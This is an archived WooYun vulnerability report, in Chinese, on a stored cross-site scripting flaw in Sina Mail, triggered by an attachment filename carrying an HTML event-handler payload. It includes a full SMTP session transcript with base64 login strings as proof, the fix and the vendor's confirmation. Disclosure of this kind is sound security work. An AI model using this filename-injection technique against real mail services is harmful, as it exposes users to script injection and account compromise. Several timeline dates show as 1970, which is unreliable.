Sina邮箱存在存储型跨站脚本漏洞

漏洞概要

缺陷编号:WooYun-2010-077

漏洞标题:Sina邮箱存在存储型跨站脚本漏洞

相关厂商:新浪

漏洞作者:kEvin1986

提交时间:2010-07-23 13:06

公开时间:2010-08-23 06:00

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

Tags标签:

漏洞详情

披露状态:

2010-07-23: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-11: 细节向核心白帽子及相关领域专家公开
1970-01-21: 细节向普通白帽子公开
1970-01-31: 细节向实习白帽子公开
2010-08-23: 细节向公众公开

简要描述:

新浪邮件某功能未正确过滤提交的数据导致跨站脚本攻击

详细说明:

通过SMTP发送DATA字段</code>------_=_NextPart_001_01CAC74B.52CBABC0Content-Type: application/octet-stream;name="findshell.exe;<img src=1 onerror=alert(3)>"Content-Transfer-Encoding: base64Content-Disposition: attachment;filename="findshell.exe;<img src=1 onerror=alert(3)>"</code>到服务器, 可导致在WEB页面正文输出的时候产生跨站脚本漏洞.

漏洞证明:

telnet smtp.sina.com.cnhelo world250 irxd5-187.sinamail.sina.com.cnauth login334 VXNlcm5hbWU6NTFuNA==334 UGFzc3dvcmQ6YXNkZmFzZGY=235 #2.0.0 OK Authenticatedmail from:<[email protected]>250 sender <[email protected]> okrcpt to:<[email protected]>250 recipient <[email protected]> okdata354 go aheadReturn-Path: <[email protected]>X-MimeOLE: Produced By Microsoft Exchange V6.5Content-class: urn:content-classes:messageMIME-Version: 1.0Content-Type: multipart/mixed;boundary="----_=_NextPart_001_01CAC74B.52CBABC0"Subject: welcome to use Microsoft Live MessengerDate: Fri, 19 Mar 2010 18:02:45 +0800Message-ID: <[email protected]>X-MS-Has-Attach: yesX-MS-TNEF-Correlator:From: "AD" <[email protected]>To: <[email protected]>This is a multi-part message in MIME format.....................................------_=_NextPart_001_01CAC74B.52CBABC0Content-Type: application/octet-stream;name="findshell.exe;<img src=1 onerror=alert(3)>"Content-Transfer-Encoding: base64Content-Disposition: attachment;filename="findshell.exe;<img src=1 onerror=alert(3)>"....................................250 ok: Message 154992874 accepted

修复方案:

在输出内容的时候做HTML编码过滤.

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:8

确认时间:2010-07-23 13:06

厂商回复:

非常感谢,我们马上修复

最新状态:

暂无

评价

  1. 2010-01-01 00:00 he1renyagao 白帽子 | Rank:224 漏洞数:28)

    mark

  2. 2010-01-01 00:00 px1624 白帽子 | Rank:963 漏洞数:126)

    。。。附件XSS。。